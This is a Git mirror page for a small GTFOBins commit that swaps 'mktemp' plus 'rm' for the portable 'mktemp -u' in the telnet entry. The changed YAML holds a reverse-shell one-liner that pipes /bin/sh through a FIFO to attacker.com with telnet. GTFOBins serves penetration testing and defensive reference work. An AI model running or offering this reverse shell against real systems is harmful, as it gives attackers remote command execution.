mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Use the portable -u option for mktemp instead of removing the file
Close #15.
This commit is contained in:
parent
53ad35fb10
commit
6b73dcf283
@ -13,8 +13,7 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
TF=$(mktemp)
|
TF=$(mktemp -u)
|
||||||
rm $TF
|
|
||||||
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
|
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- description: BSD version only. Needs to be connected first.
|
- description: BSD version only. Needs to be connected first.
|
||||||
|
Loading…
Reference in New Issue
Block a user